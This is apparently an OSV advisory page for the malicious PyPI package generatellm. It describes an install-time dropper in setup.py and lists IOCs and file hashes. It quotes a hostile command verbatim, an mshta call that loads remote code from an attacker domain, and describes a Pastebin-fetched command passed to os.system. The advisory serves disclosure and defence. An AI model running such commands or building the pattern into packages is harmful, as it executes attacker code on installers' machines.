MAL-2026-5773

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/generatellm/MAL-2026-5773.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5773
Published
2026-06-14T14:37:17Z
Modified
2026-06-17T10:01:00Z
Summary
Malicious code in generatellm (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (31201af7035560c0798b46e67a374b9526a7e8ed2f856235e5eb0438d1a8d080)

GenerateLLM 2.23 is a hollow PyPI package (placeholder metadata, no functional code under src/, only an egg-info directory) whose entire payload is an install-time remote code execution dropper. setup.py at lines 31-35 fetches https://pastebin.com/raw/yBcUM1QB, takes the first line of the response, and passes it directly to os.system via cmd /c "{cmd_pastebin}", executing arbitrary attacker-controlled commands on the installer's machine. If the Pastebin fetch fails, setup.py line 38 falls back to os.system('cmd /c "mshta http://fixars.top"'), abusing the Windows mshta.exe LOLBin to load and execute a remote HTA application from an unrelated, non-publisher, plain-HTTP domain. Both branches fire automatically during pip install GenerateLLM with no user interaction. The Pastebin URL is mutable and anonymous, so the executed command can be changed by the attacker at any time without republishing the package. The generic LLM-themed name with no real author identity is consistent with namespace-squatting designed to lure developers searching for LLM tooling.

Source: kam193 (36e93812557935f67592c02b6c54a2aa7dde6472fbcae491a63957cc02c0a070)

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Database specific 
{
    "iocs": {
        "domains": [
            "fixars.top"
        ],
        "urls": [
            "https://pastebin.com/raw/hEF5HaFc",
            "https://pastebin.com/raw/yBcUM1QBs",
            "https://pastebin.com/raw/yBcUM1QB",
            "http://fixars.top"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "pypi/2026-06-easyaillm/generatellm",
            "import_time": "2026-06-14T14:50:21.178222256Z",
            "modified_time": "2026-06-14T14:37:17.328622Z",
            "sha256": "081df5df4ab9a6bd2eee1934019a75c3df660cf544d1389aa16c9057eec61f66",
            "source": "kam193",
            "versions": [
                "2.21",
                "2.22",
                "2.23"
            ]
        },
        {
            "id": "IN-MAL-2026-006681",
            "import_time": "2026-06-15T20:14:27.184426128Z",
            "modified_time": "2026-06-15T19:40:00Z",
            "sha256": "31201af7035560c0798b46e67a374b9526a7e8ed2f856235e5eb0438d1a8d080",
            "source": "amazon-inspector",
            "versions": [
                "2.23"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/generatellm",
            "import_time": "2026-06-15T22:45:32.25959446Z",
            "modified_time": "2026-06-14T14:37:17.328622Z",
            "sha256": "9182c5f6ea20cab351cbba20f0849d6a4ca28e00d06158127df48be12bc8c9eb",
            "source": "kam193",
            "versions": [
                "2.21",
                "2.22",
                "2.23"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/generatellm",
            "import_time": "2026-06-16T10:17:17.173520361Z",
            "modified_time": "2026-06-14T14:37:17.328622Z",
            "sha256": "d209a2d7f754788c2cc41d3ece32146fac0f3358079d1718091ef1611e951ad7",
            "source": "kam193",
            "versions": [
                "2.21",
                "2.22",
                "2.23"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/generatellm",
            "import_time": "2026-06-17T09:49:36.169732492Z",
            "modified_time": "2026-06-14T14:37:17.328622Z",
            "sha256": "36e93812557935f67592c02b6c54a2aa7dde6472fbcae491a63957cc02c0a070",
            "source": "kam193",
            "versions": [
                "2.21",
                "2.22",
                "2.23"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / generatellm

Package

Name
generatellm
View open source insights on deps.dev
Purl
pkg:pypi/generatellm

Affected ranges

Affected versions

2.*
2.21
2.22
2.23

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "setup.py",
            "sha256": "5df3f1bad351c6096e716c53436b46a9bf48824a1fff9aa71677eedbbe302fe7",
            "tlsh": "71112553dc477896b2f140441c316850fd62969b27a5c45bb87c435dffb06a18d76c9c"
        },
        {
            "path": "PKG-INFO",
            "sha256": "db685cf44e31dc36be4e5cc4c5f02802b2c115ebd54e8ee1f0b12a86416f3b9b",
            "tlsh": "4ee0df1471c5ddb27aa30a890908a2338122a24089ca6419e8ea0bebe25965943fd438"
        }
    ],
    "package_integrity": [
        {
            "filename": "generatellm-2.23.tar.gz",
            "hashes": {
                "blake2b_256": "b46b460b73ad44d636594cca0eb3b11cd18be9f59484baf835fb3ff323da6c87",
                "md5": "6633293c2b9e02284f5d7c0bf91584f4",
                "sha256": "fd4e57599461f3335cbc48209a56ce88fb43ae5927aa37a5abfffe523123fbe3"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/generatellm/MAL-2026-5773.json"